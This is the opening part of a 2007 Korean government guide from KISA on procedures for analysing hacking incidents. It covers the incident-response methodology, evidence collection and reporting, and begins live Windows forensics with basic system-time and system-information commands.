침해사고분석절차가이드 2007. 9
침해사고분석절차가이드 www.kisa.or.kr 본가이드는한국정보보호진흥원에서해킹침해사고를신속히분석하기위한지침서로개발되었습니다. 본가이드는국내한국정보보호진흥원인터넷침해사고대응지원센터해킹대응팀연구원들과국내보안전문가들이공동으로작성하였습니다. 2007 년 9 월 사업책임자 : 본 부 장 김우한 연구책임자 : 팀 장 최중섭 참여연구원 : 선임연구원 서진원 주임연구원 주필환 주임연구원 한단송 연 구 원 김영직 외부전문가 : 고려대학교 이상진 테라스코프 나병윤 데이터크래프트코리아 김문진 감 수 : KCC시큐리티 가성호
목차 1 서론 10 2 단계별침해사고분석절차 제 1 절사고대응방법론 14 제 2 절사고대응전준비과정 16 제 3 절사고탐지 18 제 4 절초기대응 20 제 5 절대응전략수립 21 제 6 절사고조사 25 제 7 절보고서작성 30 제 8 절복구및해결과정 31 3 침해사고분석기술 제 1 절윈도우사고분석 34 제 2 절리눅스사고분석 69 제 3 절네트워크사고분석 84 제 4 절데이터베이스사고분석 103 4 주요해킹사고별분석사례 제 1 절악성코드은닉사이트분석사례 126 제 2 절악성 Bot C&C 분석사례 139 제 3 절 ARP Spoofing 기법분석사례 150 참고문헌 161 < 부록 1> 침해사고대응기관연락처 162 < 부록 2> 웹서버사고분석체크리스트 163
침해사고분석절차가이드 www.kisa.or.kr 표목차 < 표 2-1> 사고유형에따른대응전략수립의예 22 < 표 2-2> 침해사고별대응방침의예 24 < 표 3-1> 윈도우루트킷종류 46 < 표 3-2> 루트킷탐지프로그램종류및기능분석 47 < 표 3-3> 공격과관련된이벤트로그 58 < 표 3-4> 인터넷임시파일종류 62 < 표 3-5> 모니터링프로그램목록 69 < 표 3-6> 웹로그중코드의의미 78 < 표 3-7> 네트워크사고종류및수집해야하는정보 84 그림목차 < 그림 2-1> 사고대응 7 단계 15 < 그림 2-2> 사고탐지및사고징후 18 < 그림 2-3> 수집된데이터의분석예 26 < 그림 2-4> 데이터분석절차 30 < 그림 3-1> psinfo 실행화면 36 < 그림 3-2> listdlls 실행결과 38 < 그림 3-3> netstat 실행화면 39 < 그림 3-4> telnet 으로접속한화면 40 < 그림 3-5> fport 실행화면 40 < 그림 3-6> WFT 실행화면 44 < 그림 3-7> IceSword 를통한프로세스정보확인화면 48 < 그림 3-8> 숨겨진백도어포트검출화면 48 < 그림 3-9> 숨겨진서비스검출화면 49 < 그림 3-10> Anti-Rootkit 의사용예 49 < 그림 3-11> Autoruns 를이용하여시작레지스트리점검화면 51 < 그림 3-12> Autostart Viewer 실행화면 52 < 그림 3-13> 수상한서비스검출화면 54 < 그림 3-14> Autoruns 도구를이용하여수상한서비스검출화면 54
목차 그림목차 < 그림 3-15> 스케쥴된작업확인화면 55 < 그림 3-16> Winlogon 확인화면 57 < 그림 3-17> 이벤트뷰어화면 57 < 그림 3-18> 윈도우즈파일 mac time 분석방법 59 < 그림 3-19> mac time 을이용악성코드찾는화면 60 < 그림 3-20> MBSA 를이용한보안상태확인 62 < 그림 3-21> IndexView 실행화면 63 < 그림 3-22> 분석서버구성도 64 < 그림 3-23> SysAnalyzer 실행초기화면 65 < 그림 3-24> SysAnalyzer 실행화면 66 < 그림 3-25> Sniff_Hit 프로그램이캡쳐한화면 66 < 그림 3-26> fakedns 실행화면 68 < 그림 3-27> MailPot 실행한화면 68 < 그림 3-28> ps 명령사용예 71 < 그림 3-29> lsof 명령사용예 72 < 그림 3-30> netstat 명령사용예 73 < 그림 3-31> nmap 명령사용예 73 < 그림 3-32> fuser 명령사용예 74 < 그림 3-33> w, who 명령사용예 74 < 그림 3-34> 백도어프로그램을실행한로그 79 < 그림 3-35> 다운로드한백도어프로그램을실행한로그 80 < 그림 3-36> rpm 명령의사용예 81 < 그림 3-37> strace 명령의사용예 82 < 그림 3-38> IP 헤더 85 < 그림 3-39> TCP 헤더 87 < 그림 3-40> 세션시작 / 종료를위한패킷흐름 90 < 그림 3-41> 트래픽및패킷측정구간 91 < 그림 3-42> 주요측정구간 92 < 그림 3-43> MAC 주소별트래픽통계 93 < 그림 3-44> IP 주소별트래픽통계 94 < 그림 3-45> TCP 세션별트래픽통계 94 < 그림 3-46> 패킷디코드화면 95
침해사고분석절차가이드 www.kisa.or.kr 그림목차 < 그림 3-47> CodeRed 패턴 98 < 그림 3-48> MS Blaster 패턴 99 < 그림 3-49> Gaobot 패턴 99 < 그림 3-50> 통상적인침입과정 101 < 그림 3-51> IP Scan 패턴 102 < 그림 3-52> Port Scan 패턴 102 < 그림 3-53> netstat 를이용한백도어포트확인 115 < 그림 3-54> MS-SQL DB 서버해킹결과 ( 사례 ) 116 < 그림 3-55> DB 내 t_jiaozhu 라는테이블이생성된화면 117 < 그림 3-56> DB 내 t_jiaozhu 의테이블속성 118 < 그림 3-57> D99_Tmp, D99_Reg, D99_Tmp 테이블의의미 118 < 그림 4-1> 웹서버에러페이지변조 130 < 그림 4-2> 플래시파일에삽입되어있는악성코드 131 < 그림 4-3> 데이터베이스자료값에삽입되어있는악성코드 131 < 그림 4-4> 이벤트로그 135 < 그림 4-5> 웹쉘을통한웹서버원격제어 136 < 그림 4-6> Unreal IRCD 윈도우버전실행화면 141 < 그림 4-7> MS Exchange Chat Service 콘솔화면 142 < 그림 4-8> ZeroIRC 를이용하여봇 C&C 에접속한화면 143 < 그림 4-9> ethereal 로캡쳐한네트워크패킷기록 144 < 그림 4-10> tcpview 의사용예 145 < 그림 4-11> 시작서비스에등록되어있는 IRC 프로그램의화면 146 < 그림 4-12> 레지스트리의점검 147 < 그림 4-13> 공격자가 TsInternetUser 계정으로접속한화면 148 < 그림 4-14> 악성봇 C&C 서버쪽에서캡쳐한통신기록 149 < 그림 4-15> 사고개요도 151 < 그림 4-16> 악성코드감염경로 152 < 그림 4-17> 감염된악성코드들 153 < 그림 4-18> 스푸핑공격 155 < 그림 4-19> 악성코드삽입 155 < 그림 4-20> ARP spoofing 으로인한네트워크장애 159
www.kisa.or.kr
제 1 장서론
제 1 장서론 제 1 장 서론 최근인터넷침해사고의추세는주로금전적인이익을얻기위하여발생하고있으며, 그수법이갈수록지능적이고복합적인기법들을사용하여대응과분석이점점어려워지고있다. 최근의침해사고들을보면국외의해커들이국내홈페이지를해킹한후악성코드를은닉하고이를통해국내온라인게임사용자들의게임정보를해외로유출하고, 국내의웹서버들을해킹한후금융사기를위한피싱 (Phishing) 사이트로악용하기도한다. 또한, 국내의수많은 PC 들이악성 Bot 등악성코드에감염되어공격자에의해조정당하고분산서비스거부공격 (DDoS), 스팸발송, 와레즈사이트등에악용되고있다. 이외에도스파이웨어, 키로그, 루트킷등다양한악성프로그램들이범죄목적으로설치되고있다. 이처럼인터넷침해사고를일으키는해킹기법이지능화됨에따라침해사고에대한분석도어려워지고있다. 홈페이지악성코드은닉사고의경우도다양한방법으로악성코드를숨기고있으며, 악성 Bot 도탐지가어려운루트킷과결합되어탐지가어려워지고있다. 이렇게침해사고분석이어려워짐에따라해킹피해기관또는악성코드에감염된개인이침해사고에대한적절한대응을하지못하여피해가확산되거나복구가불완전하게되어반복적으로피해를입는경우가많다. 본가이드에서는해킹피해기관이나개인이침해사고를당하였을경우이에대응하기위한분석절차와기술을제시한다. 특히, 본가이드에서는최근가장문제가되고있는악성봇감염 PC 의분석및대응, 홈페이지악성코드은닉사고를중심으로분석및대응절차를소
www.kisa.or.kr 개하여유사사고피해기관에서활용할수있도록한다. 본가이드의 2장에서는침해사고발생시사고분석자가취해야할단계별침해사고분석절차를소개한다. 3장에서는윈도우, 리눅스와같은각운영체제와네트워크, 데이터베이스등각부분에서의사고분석기술을상세히알아보도록한다. 4장에서는최근국내에서많은피해를입히고있는대표적인사고인홈페이지악성코드은닉사고와악성봇관련사고에대한분석절차를소개한다. 제 1 장 침해사고분석절차가이드 10 11
www.kisa.or.kr
제 2 장단계별침해사고분석절차 제1절사고대응방법론제2절사고대응전준비과정제3절사고탐지제4절초기대응제5절대응전략수립제6절사고조사제7절보고서작성제8절복구및해결과정
제 2 장단계별침해사고분석절차 제 2 장 단계별침해사고분석절차 제 1 절사고대응방법론 법에명시된정보보호침해사고란해킹, 컴퓨터바이러스, 논리폭탄, 메일폭탄, 서비스거부또는고출력전자기파등에의하여정보통신망또는이와관련된정보시스템을공격하는행위로인하여발생한사태를말한다 ( 정보통신망이용촉진및정보보호등에관한법률제2조 1 항 7조 ). 하지만실무에서는해킹, 컴퓨터바이러스유포에한정하지않고모든전자적인공격행위및그결과에따라발생한각종피해로생각하고있다. 침해사고의종류는바이러스, 트로이잔, 웜, 백도어, 악성코드등의공격, 비인가된시스템접근및파일접근, 네트워크정보수집을포함한비인가된네트워크정보접근, 네트워크서비스의취약점을이용하여서비스를무단이용하는비인가된서비스이용, 네트워크및시스템의정상적인서비스를마비또는파괴시키는서비스방해등다양한침해사고들이존재하고있다. 침해사고의최근경향으로지능화되고자동화된공격기법이늘어나고있다. 이러한특징을요약하면다음과같다. 대규모 ( 동시에다수의서버를공격 ) 분산화 ( 다수의서버에서목표시스템을공격 ) 대중화 ( 해킹관련정보의손쉬운획득 ) 범죄적성향 ( 금전적이익, 산업정보침탈, 정치적목적 )
www.kisa.or.kr 이러한공격들은복잡하고, 다양한기술을이용하여시도되고있다. 따라서우수한보안기술을채택하여침해사고발생을억제할필요가있으며, 침해사고가발생한경우이를철저히조사하여향후동일한사고가발생되지않도록조치를취해야한다. 아래그림은단계별침해사고대응절차를나타내고있다. 여기서제시된절차는 7가지대응요소로나뉜다. 사고 발생, 발견 또는 발생 시점 제 2 장 사고 조사 사고 전준비 사고탐지 초기대응 대응 전략체계화 데이터수집 데이터분석 보고서작성 복구, 해결 과정 < 그림 2-1> 사고대응 7 단계 사고전준비과정 : 사고가발생하기전침해사고대응팀과조직적인대응을준비 사고탐지 : 정보보호및네트워크장비에의한이상징후탐지. 관리자에의한침해사고의식별 초기대응 : 초기조사수행, 사고정황에대한기본적인세부사항기록, 사고대응팀신고및소집, 침해사고관련부서에통지 대응전략체계화 : 최적의전략을결정하고관리자승인을획득, 초기조사결과를참고하여소송이필요한사항인지를결정하여사고조사과정에수사기관공조여부를판단 침해사고분석절차가이드 14 15
제 2 장단계별침해사고분석절차 사고조사 : 데이터수집및분석을통하여수행. 언제, 누가, 어떻게사고가일어났는지, 피해확산및사고재발을어떻게방지할것인지를결정 보고서작성 : 의사결정자가쉽게이해할수있는형태로사고에대한정확한보고서를작성 해결 : 차기유사공격을식별및예방하기위한보안정책의수립, 절차변경, 사건의기록, 장기보안정책수립, 기술수정계획수립등을결정 제 2 절사고대응전준비과정 계획된준비과정은성공적인사고대응을이끌어낸다. 침해사고는시스템및네트워크의운영이관리자의통제및예측을벗어난상태에서운영될때발생된다는것을고려할때, 사고대응자는사건이언제어떤방식으로일어날지알수없다. 더욱이외부의사고대응자는사고가일어나기전에는시스템을관리하거나접근할권한이없다. 따라서사고전준비과정에서는침해사고대응팀이사고현장에도착해서빠르고정확하게사고대응을실시할수있도록, 관리자와긴밀한협조관계와각직책별행동방안을구축해야한다. 이와덧붙여서사고대응을위한기술개발, 도구의준비, 네트워크와시스템의사전조치등을취하여야한다. 효율적인사고대응을위해준비단계에서는범조직적인전략과대처방안을개발해야한다. 아래는사고대응체제의준비과정을요약한것이다.
www.kisa.or.kr 호스트및네트워크기반보안측정수행 최종사용자교육훈련 침입탐지시스템설치 강력한접근통제실시 적절한취약점평가실시 규칙적인백업수행 침해사고대응팀과의비상연락망구축 제 2 장 침해사고대응팀은전문가조직을구성하고시스템네트워크관리자와긴밀한협조관계를구성해야한다. 침해사고대응팀의준비단계에서는다음사항들을고려해야한다. 사고조사를위한도구 (H/W, S/W) 구비 사고조사를위한문서양식정형화 대응전략수행을위한적절한정책과운용과정수립 간부, 직원들에대한교육훈련실시 사고가일어난후에침해사고대응에필요한자원을준비하려는조직은없을것이다. 사고해결에는즉각적인대응이필수이므로, 준비미흡으로인해대응시간이불필요하게지연되는일이없도록해야한다. 침해사고분석절차가이드 16 17
제 2 장단계별침해사고분석절차 제 3 절사고탐지 만약효과적으로사고를탐지할수없다면, 사고대응을성공적으로수행할수없다. 따라서사고탐지는사전에사고대응자와관리자가함께구성해야할요소중하나이다. 침해사고는주로공격자에의한비인가접속, 전산자원의오남용및불법적인사용시도로성공하였다고의심될때관리자에의해인지된다. 사고탐지는시스템및네트워크사용자또는관리자에의해탐지되며, 침입탐지시스템, 방화벽과같은정보보호장비들에의해그세부기록을확인할수있다. 사고탐지와관련된영역과징후가 < 그림 2-2> 에묘사되어있다. 사고탐지영역 IDS 최종사용자네트워크관리자시스템관리자보안인사부 사고징후 IDS 가탐지한원격접속여러번의로그인실패관리자가생성하지않은계정발견유휴상태및디폴트계정의로그인시도서비스미제공시간동안의시스템활동출처불명의파일또는프로그램발견설명할수없는권한상승웹서버의경고페이지로그파일, 내용의삭제시스템성능저하, 시스템충돌이메일도청증거발견음란사진및동영상 < 그림 2-2> 사고탐지및사고징후 대부분의조직에서는다음세가지방법중에하나를이용하여탐지된사고를보고할것이다.
www.kisa.or.kr 직속상관에게보고 전산지원실에신고 정보보호부서에의해관리되는사고핫라인으로신고 어떤식으로사고가보고될지라도, 중요한것은최초탐지하게된경위와인지된상황을빠짐없이보고하는것이다. 이때적절한요소들을기록하고, 대응절차를단계별로수행하기위해초기대응점검표를이용하는것이좋다. 초기대응점검표는사고가탐지된이후에확인해야할세부항목들을기술하고있다. 초기대응점검표구성에중요한요소는다음과같다. 제 2 장 현재시간과날짜 사고보고내용과출처 사건특성 사건이일어난일시 관련된하드웨어, 소프트웨어의목록 사고탐지및사고발생관련자의네트워크연결지점 초기대응점검표가완전히작성된이후에침해사고대응팀이활동을시작하여야정확하고신속한대응이가능하다. 따라서대응팀은사고관련자들과면담을하면서초기대응점검표를정확히작성할수있어야한다. 침해사고분석절차가이드 18 19
제 2 장단계별침해사고분석절차 제 4 절초기대응 조사의초기단계는적절한대응을위한충분한정보를얻는것이다. 초기대응은침해사고대응팀을소집하고, 네트워크와시스템의정보들을수집하며, 발생한사건의유형식별과영향평가를포함한다. 또한, 다음단계로진행할수있도록충분한정보를모으고, 대응전략을세우는것이목적이다. 초기대응의첫단계는전산관리팀의전문가가조치를수행하고, 침해사고대응팀이도착한이후에는초기조치사항들을인수인계하고, 이후의조치는침해사고대응팀에맡기거나함께공조를하게된다. 원활한인수인계및조치사항검토를위해각단계에서수행되는모든행동들은문서화하여기록을유지하는것이중요하다. 초기대응이후에는관련데이터를수집하게되는데, 이과정에서는다음과같은작업들이포함된다. 사건의기술적인내용을통찰할수있는시스템관리자와면담 사건분석을위한정황을제공해줄수있는인원들과의면담 침입탐지로그와데이터식별을위한네트워크기반로그의분석 공격경로와수단을알아내기위한네트워크구조와접근통제리스트의분석 대응팀의첫번째임무는현재발생한사건이시스템과네트워크를직간접적으로침해한사건이며, 이사건이업무및서비스에영향을미친다는것을검증을통해확인하는것이다. 이를위해대응팀은사고에대한충분한정보를확보하고이를검토해야한다. 초기대응단계가마무리되면실제로사고가일어났는지 ( 혹은오탐인지 ), 침해된시스템에대한적당한대응책이있는지, 사건의유형은무엇인지, 그리고사고로인한잠재적인업무영향은무엇인지등을알수있을것이다. 이렇게적절한정보가준비되면이를판단근거로하여, 현재사고를어떻게처리할것인지를결정 ( 대응전략수립 ) 할수있다.
www.kisa.or.kr 제 5 절대응전략수립 대응전략수립단계의목표는주어진사건의환경에서가장적절한대응전략을결정하는데있다. 전략은정책, 기술, 법, 업무등의사고와관련된적절한요인들을고려해야한다. 대응전략은침해사고의환경에많은영향을받는다. 사고조사를위해얼마나많은자원이필요한지, 증거의완벽한확보를위해저장매체를완전히복사하는포렌식이미징 (Forensic Duplication) 작업이필요한지, 형사소송또는민사소송을할필요가있는지, 대응전략에다른관점이있는지를결정해야한다. 이러한결정을위해다음의요소들을검토하여대응전략을수립하도록한다. 제 2 장 침해당한컴퓨터가얼마나중요하고위험한가? 침해당하거나도난당한정보가얼마나민감한것인가? 사건이외부에알려졌는가? 직 / 간접적인공격자는누구인가? 공격자에의해침해된비인가접근의수준은어느정도인가? 공격자의수준은어느정도인가? 시스템과사용자의업무중단시간은어느정도인가? 어느정도의경제적피해가있었는가? 사고는바이러스사고부터고객데이터베이스노출까지매우다양하다. 일반적인바이러스사고는시스템이다운되거나자료가소실되는사고로이어지고, 고객데이터베이스가노출되는사고는사업의파산으로이어질수도있다. 따라서각사고에대한대응전략은달라질것이다. 침해사고분석절차가이드 20 21
제 2 장단계별침해사고분석절차 따라서정확한대응전략수립을위해초기대응동안에얻은세부사항들을충분히검토해야한다. 예를들면, DoS 공격의출처가중고등학교웹서버일경우와경쟁사직원의시스템일경우의대응은서로다르게다루어질것이다. 따라서대응전략을결정하기전에사고의세부항목과요인에대한재조사가필요할것이다. 특히조직의대응방침은대응전략에중요한역할을할것이다. 대응방침은대응능력, 기술자원, 정책적고려, 법적제한, 업무목적에의해결정된다. 공격환경과대응능력을고려하여, 다양한대응전략을수립하여야한다. 다음표는일반적인상황에서대응전략과가능한결과를보여준다. 대응전략은어떻게사고의결과로 < 표 2-1> 사고유형에따른대응전략수립의예 사고예대응전략예상결과 DoS 공격 TFN DDoS 공격 Flooding 의효과를최소화하기위해라우터재설정 라우터재설정으로공격의효과를완화 비인가사용 업무용컴퓨터오용 증거물의포렌식이미지확보와조사용의자와면담 범인식별, 징계를위한증거확보. 해당직원의직위나과거조직정책의위반등을고려하여징계 파괴행위 웹사이트손상 웹사이트모니터온라인상태로조사웹사이트복구 웹사이트의복구범인식별을위해수사기관이참여할수있음 정보의도난 신용카드도난및고객정보유출 관련된시스템의이미지확보. 도난신고법적대응준비 상세한조사시작. 수사기관참여예상된피해복구를위한민사소송얼마간시스템의오프라인유지 컴퓨터침입 buffer overflow 또는 IIS 공격을통한원격접속 공격자의활동감시비인가접속봉쇄시스템의보안재설정및복구 침입에사용된취약점을식별하고수정및패치시행범인의식별유무를결정
www.kisa.or.kr 부터얻을수있는지결정해야한다. 언급한바와같이, 대응방법에따라조직이영향을받을수있기때문에대응전략은조직의업무목표를고려해야하며, 상위관리자가승인해야한다. 대응전략은다음과같은장단점을고려하여수립해야한다. 네트워크및시스템다운시간과이로인한운영상의영향 사건공개와그에따른조직의대외이미지와업무에영향 지적재산권의도용과잠재적인경제적영향 제 2 장 다음에나오는기준들은사고대응에서수사기관에신고하여법적인대응을할것인지아닌지를결정할때, 고려되어야할사항들이다. 사고의비용이나피해정도가범죄전문가를초빙할만한가? 사법이나형사조치가조직이원한만큼결과를이끌어낼것인가?( 상대로부터피해를복구하거나손해배상을받을수있나?) 사고원인분석은타당한가? 효과적인수사에도움이되는적절한문서와정리된보고서를가지고있는가? 수사관이효과적으로행동할수있도록준비될수있는가? 수사관들과공조한경험이있거나그방법을잘알고있는가? 사고내용의공개를감수할수있는가? 데이터수집절차는합법적인행동이었는가? 법률분쟁이사업수행에어떻게영향을줄것인가? 침해사고분석절차가이드 22 23
제 2 장단계별침해사고분석절차 < 표 2-2> 침해사고별대응방침의예 구분 DoS 공격외부공격자음란물소유음란물유포스팸메일 조치사항 DoS 공격지를밝히기위해서는 ISP 와협조해야한다. 민간에게는이러한권한이없으므로수사기관과공조한다. 공격지가밝혀지면, 공격자의신분을밝히거나행동을제지하기위한법적조치를강구한다. 가능성이있는 IP 주소를식별하고, 공격자의신분을밝히기위한법적조치를강구한다. 음란물소유자체는법적조치를받지않는다. 그러나민사책임, 업무태만, 내규위반등을검토하기위해서인사부서나변호사와상담한다. 음란물유포는법적조치를받는사항이므로수사기관에신고할필요가있다. 이와더불어유포금지와접속을통제할방법을강구한다. 민사책임으로부터조직을보호하기위해서인사부서나변호사와상담하는것이바람직하다. 사건의내용이법적인제제가필요한사항이아니라내부에서처리해야할사항이라면직원관리차원에서사원을징계하고해고하는것이일반적이다. 다음은사원인사조치의예이다. 공식적인징계문서 해고 일정기간동안의근신 업무재분배 임시봉급삭감 행동들에대한공개적, 개인적인사과 네트워크나웹접근과같은권한의박탈
www.kisa.or.kr 제 6 절사고조사 사고조사는 누가, 무엇을, 언제, 어디서, 어떻게그리고왜 와같은사항들을결정하는것이필요하다. 이를위해사건조사는호스트기반과네트워크기반증거로나누어조사해야한다. 사고조사를어떻게하든지간에공격자에의해서일어난사고를수습하고공격자를색출하는것에초점이맞추어질것이다. 즉, 조사의핵심은누가어떤것에손상을입혔는가를확인하는것이다. 따라서누가, 무엇을, 언제, 어디서그리고어떤정보가사고와관련된것인지를확인하기위해사고조사과정은데이터수집과자료분석단계로나뉜다. 제 2 장 데이터수집은사건분석을하는동안깊이살펴보아야할범행들과단서들의수집이다. 수집한데이터는결론을내는데필요한기본정보들을제공한다. 만약가능한모든데이터를수집하지않았다면적절하게사고를해결할수없고또사고가어떻게일어났는지이해할수없을것이다. 따라서어떤수사를하기전에접근가능한데이터를모두수집해야만한다. 아래는데이터수집시봉착하는어려움또는요구사항들이다. 법적소송을염두해둔다면증거가무결성과적법성을유지하도록디지털데이터를수집해야한다. 종종엄청난양의데이터를수집하고보관해야할경우가있다. 이런요구사항들은만족시키면서기술적인데이터를획득하고사고분석을하려면컴퓨터포렌식기술이필요하다. 침해사고분석절차가이드 24 25
제 2 장단계별침해사고분석절차 데이터수집 네트워크기반증거 IDS 로그수집 라우터로그수집 방화벽로그수집 중앙호스트 (syslog) 로부터의원격로그수집 호스트기반증거 시스템시간수집 휘발성데이터수집 피해시스템의모든파일들의시간 / 날짜정보수집 출처미확인파일수집 디스크백업수집 그외증거들 증인으로부터의증언수집 분석 휘발성데이터분석 네트워크접속조사 악의적인코드식별 ( 백도어, 스니퍼 ) 파일시간및날짜정보수집 공격자에의해시스템에업로드된파일식별 시스템으로업로드되거나다운로드된파일식별로그파일들의재조사비인가된사용자계정식별일반적이지않거나숨겨져있는파일검색스케쥴서비스에의한과업수행조사레지스트리조사키워드검색수행 < 그림 2-3> 수집된데이터의분석예 데이터를수집하는동안수집한정보는기본적으로호스트기반정보, 네트워크기반정보와그밖에일반적인정보로나뉠수있다. 가. 호스트기반정보 호스트기반정보는네트워크에서얻어진것이아니라시스템에서얻어진로그, 레코드, 문서그리고또다른정보들을포함한다. 예를들면, 호스트기반정보는특정기간동안증거를보관하고있었던시스템백업일수도있다. 호스트기반데이터수집은휘발성데이터를우선수집한후포렌식이미징작업을통해서정보를모으는것이다. 데이터수집의첫번째단계는정보들이사라지기전에휘발성정보들을수집하는것이다. 어떤경우에는중요증거가일시적으로있었다가없어지며, 피해시스템이나사건조사
www.kisa.or.kr 에중요한시스템을끌때사라져버리는경우가있다. 이러한휘발성증거는사고의도를이해하고자할때매우중요한정보와시스템의 snap-shot 을제공한다. 다음은수집해야할휘발성데이터의종류를나타낸다. 시스템날짜와시간 시스템에서현재동작중인어플리케이션 현재연결이성립된네트워크상황 현재열려진소켓 ( 포트 ) 열려진소켓상에서대기하고있는어플리케이션 네트워크인터페이스의상태 메모리정보 현재열려진파일 시스템패치상황 제 2 장 이런정보들을수집하기위해 Live Response가수행되어야만한다. Live Response는시스템이동작하고있을때수행되어야한다. Live Response는아래와같은세가지로구분할수있다. Initial Live Response : 대상시스템이나피해시스템의휘발성데이터만획득하는것을말한다. In-depth Response : 휘발성데이터만수집하는것을넘어서, 합법적인대응전략을결정하기위해서대상시스템이나피해시스템으로부터충분한부가정보를획득한다. Full Live Response : Live 시스템의완전조사를위한대응을말한다. 시스템을꺼야하는디스크복제작업대신에수사를위한모든데이터를 Live 시스템으로부터수집한다. 침해사고분석절차가이드 26 27
제 2 장단계별침해사고분석절차 어떤시점에서 ( 보통은초기대응시간에 ), 증거매체의디스크복제작업을해야할지를결정해야한다. 일반적으로, 사고가조사하기어렵고지워진데이터를복구해야한다면디스크복제작업이유용하다. 대상매체의디스크복제는컴퓨터포렌식기술을사용하여이루어져야한다. 이작업은대상시스템과완벽히동일한복사본이미지를제공함으로써잠재적인증거가파괴되거나변조될거라는걱정을없게만든다. 만약향후분석과정을거쳐소송과같은법적조치가예상되면일반적으로대상시스템을복제한포렌식이미지를수집하는것이바람직하다. 만약사고가여기저기에서다중으로발생한다면포렌식이미징작업을전시스템에서수행하기어렵기때문에작업수행여부는신중하게결정해야한다. 나. 네트워크기반증거 네트워크기반증거는다음의정보를포함하고있다. IDS 로그 관련자의허락을득한네트워크모니터링의기록 ISP 가입자이용기록장치 / 감시장치의로그 라우터로그 방화벽로그 인증서버로그 특정조직은종종증거를모으고, 내부공모자의의심스러운점을확인하기위해서네트워크감시 ( 합의가된모니터링 ) 를수행한다. 호스트기반감시가효과적이지않다면네트워크감시가증거의유효성을높여줄수있다. 네트워크감시는공격을막고자하는것이아니라, 사고발생시관련정보를수집하기위한것으로조사분석에많은증거를제공하기도한다.
www.kisa.or.kr 컴퓨터보안사고의주변인물들중에사건에가담하여, 증거를고의적으로손상시킬여지가있는관련자를증거로부터격리시킨다. 추가적인증거나정보를축적한다. 정보노출의범위를검증한다. 사고와관련된추가내부인원들을확인한다. 네트워크에서일어난이벤트의 timeline 을결정한다. 대응방침에대한상급자의확실한승인을확보한다. 다. 기타증거 제 2 장 기타증거 는증언과사람들로부터얻어진다른정보들을뜻한다. 이것은디지털정보를다루는방식이아닌전통적인조사방식으로증거를수집한것이다. 내부직원의개인정보파일을수집할때직원을인터뷰하고모아진정보를문서화하는것이그예라할수있다. 데이터분석은모든수집된정보의전체적조사를의미한다. 이것은로그파일, 시스템설정파일, 웹브라우저히스토리파일, 이메일메시지와첨부파일, 설치된어플리케이션그리고, 그림파일등을포함한다. 소프트웨어분석, 시간 / 날짜스탬프분석, 키워드검색, 그외의필요한조사과정을수행한다. 포렌식조사는또한로우레벨에서의조사도수행한다. 이과정에수행되는각요소들은다음그림에나타나있다. 침해사고분석절차가이드 28 29
제 2 장단계별침해사고분석절차 데이터 분석 데이터의 준비 이 메일과첨부파일뽑아내기 브라우저히스토리파일 재검토 파일 리스트 생성 파일 시그너처분석 수행 설치된어플리케이션재검토 수집된 데이타재검토 포렌식이미징 작업 수집이미지의사본 제작 삭제 파일 복구 알려진 시스템파일 식별 적절한스트링 검색 모든 네트웍기반 증거재검토 비 할당 공간 복구 통계적인 데이터파티션 테이블파일 시스템 수행 소프트웨어분석 수행 암호화된파일 식별과해독 파일 대파일 재검토수행 특성화된분석 수행 < 그림 2-4> 데이터분석절차 제 7 절보고서작성 보고서작성은가장어렵고도중요한단계이다. 보고서를읽게되는상급자또는소송관련자들은컴퓨터에대한기본지식이부족한경우가많기때문에, 누구나알기쉬운형태로작성되어야한다. 데이터획득, 보관, 분석등의과정을 6하원칙에따라명백하고객관적으로서술해야한다. 또한사건의세부사항을정확하게기술하고, 의사결정자가이해하기쉽게설명되어야하며, 재판과정에서발생하게될논쟁에대응할수있도록치밀하게작성되어야한다.
www.kisa.or.kr 제 8 절복구및해결과정 컴퓨터보안사고대응의마지막단계는현재발생한사고로인해제 2, 제 3의피해를막고재발을방지하기위한조치들이이루어져야한다. 이를위해다음과같은조치들을취해야한다. 조직의위험우선순위식별 사건의본질을기술 : 보안사고의원인과호스트, 네트워크의복원시필요한조치 사건의조치에필요한근원적이고조직적인원인파악 침해컴퓨터의복구 네트워크, 호스트에대해밝혀진취약점에대한조치 (IDS, Access control, firewall) 시스템을개선할책임자지명 시스템개선이이루어지고있는지추적 모든복구과정이나대책의유용성검증 보안정책개선 제 2 장 침해사고분석절차가이드 30 31
www.kisa.or.kr
제 3 장침해사고분석기술 제1절윈도우사고분석제2절리눅스사고분석제3절네트워크사고분석제4절데이터베이스사고분석
제 3 장침해사고분석기술 제 3 장 침해사고분석기술 제 1 절윈도우사고분석 최근윈도우서버나개인사용자 PC 를겨냥한해킹뿐아니라웜, 바이러스, 봇을통한해킹사고또한급증하고있어관리자나사용자들을위한윈도우침해사고분석기술이요구되고있다. 윈도우사고분석에있어포렌식측면에서봤을때피해시스템에영향을주지않고필요한정보를얻어야한다. 하지만그렇게하기위해서는전문적인포렌식기술과도구들이있어야하므로본가이드에서는라이브 (live) 에서직접피해시스템을쉽고빠르게분석할수있는방법에대해알아보도록한다. 침해사고를정확히분석하기위해서는현재구동중인프로세스정보나네트워크상태정보등휘발성증거를수집해야한다. 그리고현재피해시스템의상황을빠른시간안에파악할수있는방법이필요하므로윈도우커맨드에서실행되는명령어들을이용해프로세스, 네트워크, 로그인정보들을수집해야한다. 분석자는이러한정보들을이용해최대한빨리시스템의변경내용이나공격자의흔적을파악해야한다.
www.kisa.or.kr 가. 시스템시간확인 모든시스템들이시간을동기화시켜놓지못하기때문에각시스템별로운영되는고유의시간이있다. 이러한시간이파악되어야만시스템로그시간을연관지어확인할수있다. 또한공격자들은관리자들의분석에혼란을주기위해시스템시간을변경해놓는경우가있으므로시스템현재시간을확인해야한다. date 와 time 은 cmd.exe 프로그램에내장되어있고시스템시간을기록하는데사용한다. 그리고 uptime 은시스템의부팅시간정보를보여주는명령어로사고시간을결정하는데필요하기때문에중요한정보이다. 도구는 'http://www.sysinternals.com' 에서무료로다운받을수있다. 명령어 설 명 다운로드 date /T 시스템날짜를알려주는명령어 ex)2006-10-23 OS time /T 시스템시간을알려주는명령어 ex) 오전 09:48 OS uptime 부팅된시간정보를알려주는명령어 sysinternals 제 3 장 OS : 윈도우시스템에서기본적으로제공하는명령어 나. 시스템정보 사고분석을위해서는피해시스템의기본적인정보가필요하다. psinfo 는 OS의기본정보및보안업데이트정보등을제공하며설치된소프트웨어정보또한알려준다. 이러한보안업데이트정보는시스템취약점을통해어떻게공격했는지에대한정보를얻을수있기때문에최종업데이트날짜를확인해야한다. 아래그림은 psinfo 명령어를통해시스템의정보를확인한화면이다. 침해사고분석절차가이드 34 35
